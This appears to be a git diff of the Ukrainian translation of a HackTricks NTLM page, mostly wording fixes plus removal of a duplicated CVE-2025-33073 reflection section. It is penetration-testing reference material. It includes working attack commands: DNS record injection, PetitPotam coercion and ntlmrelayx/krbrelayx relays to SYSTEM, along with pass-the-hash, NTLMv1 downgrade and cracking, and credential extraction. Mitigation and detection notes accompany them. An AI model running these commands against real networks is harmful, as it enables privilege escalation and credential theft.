diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 58d8e4c91..80f537aa8 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,70 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) -Windows містить кілька заходів, які намагаються запобігти атакам *reflection*, де аутентифікація NTLM (або Kerberos), що походить з хоста, передається назад на **той самий** хост для отримання привілеїв SYSTEM. - -Microsoft зламав більшість публічних ланцюгів з MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) та пізніми патчами, однак **CVE-2025-33073** показує, що захисти все ще можуть бути обійдені шляхом зловживання тим, як **SMB-клієнт обрізає Імена Основних Служб (SPN)**, які містять *marshalled* (серіалізовану) інформацію про ціль. - -### TL;DR помилки -1. Зловмисник реєструє **DNS A-запис**, чий ярлик кодує marshalled SPN – наприклад, -`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` -2. Жертва змушена аутентифікуватися на цьому імені хоста (PetitPotam, DFSCoerce тощо). -3. Коли SMB-клієнт передає рядок цілі `cifs/srv11UWhRCAAAAA…` до `lsasrv!LsapCheckMarshalledTargetInfo`, виклик до `CredUnmarshalTargetInfo` **обрізає** серіалізований об'єкт, залишаючи **`cifs/srv1`**. -4. `msv1_0!SspIsTargetLocalhost` (або еквівалент Kerberos) тепер вважає ціль *localhost*, оскільки коротка частина хоста збігається з ім'ям комп'ютера (`SRV1`). -5. Відповідно, сервер встановлює `NTLMSSP_NEGOTIATE_LOCAL_CALL` і впроваджує **токен доступу SYSTEM LSASS** у контекст (для Kerberos створюється ключ підсесії, позначений як SYSTEM). -6. Передача цієї аутентифікації з `ntlmrelayx.py` **або** `krbrelayx.py` надає повні права SYSTEM на тому ж хості. - -### Quick PoC -```bash -# Add malicious DNS record -dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ --a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ --d 10.10.10.50 - -# Trigger authentication -PetitPotam.py -u user -p pass -d DOMAIN \ -srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL - -# Relay listener (NTLM) -ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support - -# Relay listener (Kerberos) – remove NTLM mechType first -krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support -``` -### Patch & Mitigations -* KB патч для **CVE-2025-33073** додає перевірку в `mrxsmb.sys::SmbCeCreateSrvCall`, яка блокує будь-яке SMB з'єднання, якщо його ціль містить маршалізовану інформацію (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). -* Застосовуйте **SMB підпис** для запобігання рефлексії навіть на непатчених хостах. -* Моніторте DNS записи, що нагадують `*...*`, і блокуйте вектори примусу (PetitPotam, DFSCoerce, AuthIP...). - -### Detection ideas -* Захоплення мережі з `NTLMSSP_NEGOTIATE_LOCAL_CALL`, де IP клієнта ≠ IP сервера. -* Kerberos AP-REQ, що містить підключений ключ і клієнтський принципал, рівний імені хоста. -* Windows Event 4624/4648 SYSTEM логіни, які відразу ж супроводжуються віддаленими SMB записами з того ж хоста. - -## References -* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) -* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) - -## Basic Information +## Основна інформація В середовищах, де працюють **Windows XP та Server 2003**, використовуються LM (Lan Manager) хеші, хоча загальновідомо, що їх легко скомпрометувати. Конкретний LM хеш, `AAD3B435B51404EEAAD3B435B51404EE`, вказує на ситуацію, коли LM не використовується, представляючи хеш для порожнього рядка. -За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в гру за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби з'єднання здійснюються за допомогою IP-адреси замість дійсного імені хоста. +За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в силу за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби підключення здійснюються за допомогою IP-адреси замість дійсного імені хоста. Наявність заголовка **"NTLMSSP"** в мережевих пакетах сигналізує про процес аутентифікації NTLM. -Підтримка протоколів аутентифікації - LM, NTLMv1 та NTLMv2 - забезпечується конкретною DLL, розташованою за адресою `%windir%\Windows\System32\msv1\_0.dll`. +Підтримка протоколів аутентифікації - LM, NTLMv1 та NTLMv2 - забезпечується специфічною DLL, розташованою за адресою `%windir%\Windows\System32\msv1\_0.dll`. **Ключові моменти**: - LM хеші вразливі, а порожній LM хеш (`AAD3B435B51404EEAAD3B435B51404EE`) свідчить про його не використання. -- Kerberos є стандартним методом аутентифікації, NTLM використовується лише за певних умов. +- Kerberos є методом аутентифікації за замовчуванням, а NTLM використовується лише за певних умов. - Пакети аутентифікації NTLM можна ідентифікувати за заголовком "NTLMSSP". - Протоколи LM, NTLMv1 та NTLMv2 підтримуються системним файлом `msv1\_0.dll`. -## LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 та NTLMv2 Ви можете перевірити та налаштувати, який протокол буде використовуватися: @@ -75,7 +30,7 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support ![](<../../images/image (919).png>) -### Registry +### Реєстр Це встановить рівень 5: ``` @@ -96,14 +51,14 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE 2. Клієнтська машина **надсилає запит на аутентифікацію**, відправляючи **ім'я домену** та **ім'я користувача** 3. **Сервер** надсилає **виклик** 4. **Клієнт шифрує** **виклик**, використовуючи хеш пароля як ключ, і надсилає його у відповідь -5. **Сервер надсилає** до **контролера домену** **ім'я домену, ім'я користувача, виклик та відповідь**. Якщо **не налаштовано** Active Directory або ім'я домену є ім'ям сервера, облікові дані **перевіряються локально**. +5. **Сервер надсилає** до **контролера домену** **ім'я домену, ім'я користувача, виклик та відповідь**. Якщо **немає** налаштованого Active Directory або ім'я домену є ім'ям сервера, облікові дані **перевіряються локально**. 6. **Контролер домену перевіряє, чи все вірно** і надсилає інформацію на сервер -**Сервер** та **контролер домену** можуть створити **захищений канал** через **сервер Netlogon**, оскільки контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**). +**Сервер** та **Контролер домену** можуть створити **Безпечний канал** через сервер **Netlogon**, оскільки Контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**). ### Локальна схема аутентифікації NTLM -Аутентифікація така ж, як і згадувалася **раніше, але** **сервер** знає **хеш користувача**, який намагається аутентифікуватися в файлі **SAM**. Тому, замість того, щоб запитувати контролер домену, **сервер перевірить самостійно**, чи може користувач аутентифікуватися. +Аутентифікація така ж, як і згадувалася **раніше, але** **сервер** знає **хеш користувача**, який намагається аутентифікуватися в файлі **SAM**. Тому, замість того, щоб запитувати Контролер домену, **сервер перевірить самостійно**, чи може користувач аутентифікуватися. ### Виклик NTLMv1 @@ -123,11 +78,11 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE В наш час стає все менш поширеним знаходити середовища з налаштованою неконтрольованою делегацією, але це не означає, що ви не можете **зловживати службою Print Spooler**, яка налаштована. -Ви могли б зловживати деякими обліковими даними/сесіями, які у вас вже є в AD, щоб **попросити принтер аутентифікуватися** проти деякого **хоста під вашим контролем**. Потім, використовуючи `metasploit auxiliary/server/capture/smb` або `responder`, ви можете **встановити виклик аутентифікації на 1122334455667788**, захопити спробу аутентифікації, і якщо вона була виконана за допомогою **NTLMv1**, ви зможете **зламати її**.\ +Ви можете зловживати деякими обліковими даними/сесіями, які у вас вже є в AD, щоб **попросити принтер аутентифікуватися** проти деякого **хоста під вашим контролем**. Потім, використовуючи `metasploit auxiliary/server/capture/smb` або `responder`, ви можете **встановити виклик аутентифікації на 1122334455667788**, захопити спробу аутентифікації, і якщо вона була виконана за допомогою **NTLMv1**, ви зможете **зламати її**.\ Якщо ви використовуєте `responder`, ви можете спробувати **використати прапор `--lm`**, щоб спробувати **знизити** **аутентифікацію**.\ _Зверніть увагу, що для цієї техніки аутентифікація повинна виконуватися за допомогою NTLMv1 (NTLMv2 не є дійсним)._ -Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете його зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com), наприклад). +Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете його зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com) наприклад). ### Атака NTLMv1 з hashcat @@ -201,18 +156,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` ### NTLMv2 Challenge -Довжина **виклику становить 8 байт** і **надсилаються 2 відповіді**: одна з них **довжиною 24 байти**, а довжина **іншої** є **змінною**. +Довжина **виклику становить 8 байт** і **надсилаються 2 відповіді**: одна має **довжину 24 байти**, а довжина **іншої** є **змінною**. -**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи в якості **ключа** хеш MD4 **NT hash**. Потім **результат** буде використаний як **ключ** для шифрування за допомогою **HMAC_MD5** **виклику**. До цього **додасться клієнтський виклик довжиною 8 байт**. Усього: 24 Б. +**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи в якості **ключа** хеш MD4 **NT хешу**. Потім **результат** буде використано як **ключ** для шифрування за допомогою **HMAC_MD5** **виклику**. До цього **додасться клієнтський виклик довжиною 8 байт**. Усього: 24 Б. -**Друга відповідь** створюється з використанням **декількох значень** (новий клієнтський виклик, **часова мітка** для запобігання **атакам повтору**...) +**Друга відповідь** створюється за допомогою **кількох значень** (новий клієнтський виклик, **часова мітка** для запобігання **атакам повтору**...) Якщо у вас є **pcap, який зафіксував успішний процес аутентифікації**, ви можете слідувати цьому посібнику, щоб отримати домен, ім'я користувача, виклик і відповідь та спробувати зламати пароль: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash -**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітованої аутентифікації**.\ -Вам потрібно використовувати **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація буде виконана**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz. +**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітування**.\ +Вам потрібно використовувати **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація буде виконана**, цей **хеш буде використано.** Останній варіант - це те, що робить mimikatz. **Будь ласка, пам'ятайте, що ви також можете виконувати атаки Pass-the-Hash, використовуючи облікові записи комп'ютерів.** @@ -280,28 +235,28 @@ wce.exe -s ::: ../lateral-movement/ {{#endref}} -## Витягування облікових даних з Windows Host +## Витягування облікових даних з Windows хоста -**Для отримання додаткової інформації про** [**те, як отримати облікові дані з Windows host, вам слід прочитати цю сторінку**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** +**Для отримання додаткової інформації про** [**те, як отримати облікові дані з Windows хоста, вам слід прочитати цю сторінку**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** -## Атака Internal Monologue +## Атака внутрішнього монологу -Атака Internal Monologue є прихованою технікою витягування облікових даних, яка дозволяє зловмиснику отримувати NTLM хеші з машини жертви **без прямої взаємодії з процесом LSASS**. На відміну від Mimikatz, який читає хеші безпосередньо з пам'яті і часто блокується рішеннями безпеки кінцевих точок або Credential Guard, ця атака використовує **локальні виклики до пакету аутентифікації NTLM (MSV1_0) через Інтерфейс підтримки безпеки (SSPI)**. Зловмисник спочатку **знижує налаштування NTLM** (наприклад, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), щоб забезпечити дозволеність NetNTLMv1. Потім вони підробляють існуючі токени користувачів, отримані з працюючих процесів, і запускають аутентифікацію NTLM локально, щоб згенерувати відповіді NetNTLMv1, використовуючи відомий виклик. +Атака внутрішнього монологу є прихованою технікою витягування облікових даних, яка дозволяє зловмиснику отримувати NTLM хеші з машини жертви **без прямої взаємодії з процесом LSASS**. На відміну від Mimikatz, який читає хеші безпосередньо з пам'яті і часто блокується рішеннями безпеки кінцевих точок або Credential Guard, ця атака використовує **локальні виклики до пакету аутентифікації NTLM (MSV1_0) через Інтерфейс постачальника підтримки безпеки (SSPI)**. Зловмисник спочатку **знижує налаштування NTLM** (наприклад, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), щоб забезпечити дозволеність NetNTLMv1. Потім вони підробляють існуючі токени користувачів, отримані з працюючих процесів, і запускають аутентифікацію NTLM локально, щоб згенерувати відповіді NetNTLMv1, використовуючи відомий виклик. -Після захоплення цих відповідей NetNTLMv1 зловмисник може швидко відновити оригінальні NTLM хеші, використовуючи **попередньо обчислені райдужні таблиці**, що дозволяє подальші атаки Pass-the-Hash для бічного переміщення. Важливо, що атака Internal Monologue залишається прихованою, оскільки не генерує мережевий трафік, не впроваджує код і не викликає прямі дампи пам'яті, що ускладнює виявлення для захисників у порівнянні з традиційними методами, такими як Mimikatz. +Після захоплення цих відповідей NetNTLMv1 зловмисник може швидко відновити оригінальні NTLM хеші, використовуючи **попередньо обчислені райдужні таблиці**, що дозволяє подальші атаки Pass-the-Hash для бічного переміщення. Важливо, що атака внутрішнього монологу залишається прихованою, оскільки не генерує мережевий трафік, не інжектує код і не викликає прямі дампи пам'яті, що ускладнює виявлення для захисників у порівнянні з традиційними методами, такими як Mimikatz. Якщо NetNTLMv1 не приймається — через впроваджені політики безпеки, зловмисник може не змогти отримати відповідь NetNTLMv1. Щоб вирішити цю проблему, інструмент Internal Monologue був оновлений: він динамічно отримує токен сервера, використовуючи `AcceptSecurityContext()`, щоб все ще **захопити відповіді NetNTLMv2**, якщо NetNTLMv1 не вдається. Хоча NetNTLMv2 набагато важче зламати, він все ще відкриває шлях для релейних атак або офлайн брутфорсу в обмежених випадках. -PoC можна знайти за адресою **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. +PoC можна знайти в **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. ## NTLM Relay та Responder **Прочитайте більш детальний посібник про те, як виконати ці атаки тут:** {{#ref}} -../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md` {{#endref}} ## Парсинг NTLM викликів з мережевого захоплення @@ -320,8 +275,8 @@ Microsoft зламав більшість публічних ланцюгів з 2. Жертва змушена аутентифікуватися до цього імені хоста (PetitPotam, DFSCoerce тощо). 3. Коли SMB клієнт передає рядок цілі `cifs/srv11UWhRCAAAAA…` до `lsasrv!LsapCheckMarshalledTargetInfo`, виклик до `CredUnmarshalTargetInfo` **обрізає** серіалізований об'єкт, залишаючи **`cifs/srv1`**. 4. `msv1_0!SspIsTargetLocalhost` (або еквівалент Kerberos) тепер вважає ціль *localhost*, оскільки коротка частина хоста збігається з ім'ям комп'ютера (`SRV1`). -5. Відповідно, сервер встановлює `NTLMSSP_NEGOTIATE_LOCAL_CALL` і впроваджує **токен доступу SYSTEM LSASS** у контекст (для Kerberos створюється ключ підсесії, позначений SYSTEM). -6. Релеюючи цю аутентифікацію за допомогою `ntlmrelayx.py` **або** `krbrelayx.py`, ви отримуєте повні права SYSTEM на тому ж хості. +5. Відповідно, сервер встановлює `NTLMSSP_NEGOTIATE_LOCAL_CALL` і інжектує **токен доступу SYSTEM LSASS** у контекст (для Kerberos створюється ключ підсесії, позначений SYSTEM). +6. Релеюючи цю аутентифікацію за допомогою `ntlmrelayx.py` **або** `krbrelayx.py`, отримують повні права SYSTEM на тому ж хості. ### Швидкий PoC ```bash @@ -343,7 +298,7 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support ### Патчі та пом'якшення * Патч KB для **CVE-2025-33073** додає перевірку в `mrxsmb.sys::SmbCeCreateSrvCall`, яка блокує будь-яке SMB з'єднання, ціль якого містить маршалізовану інформацію (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). * Застосовуйте **SMB підпис** для запобігання рефлексії навіть на непатчених хостах. -* Моніторте DNS записи, що нагадують `*...*` та блокуйте вектори примусу (PetitPotam, DFSCoerce, AuthIP...). +* Моніторте DNS записи, що нагадують `*...*`, та блокуйте вектори примусу (PetitPotam, DFSCoerce, AuthIP...). ### Ідеї для виявлення * Захоплення мережі з `NTLMSSP_NEGOTIATE_LOCAL_CALL`, де IP клієнта ≠ IP сервера.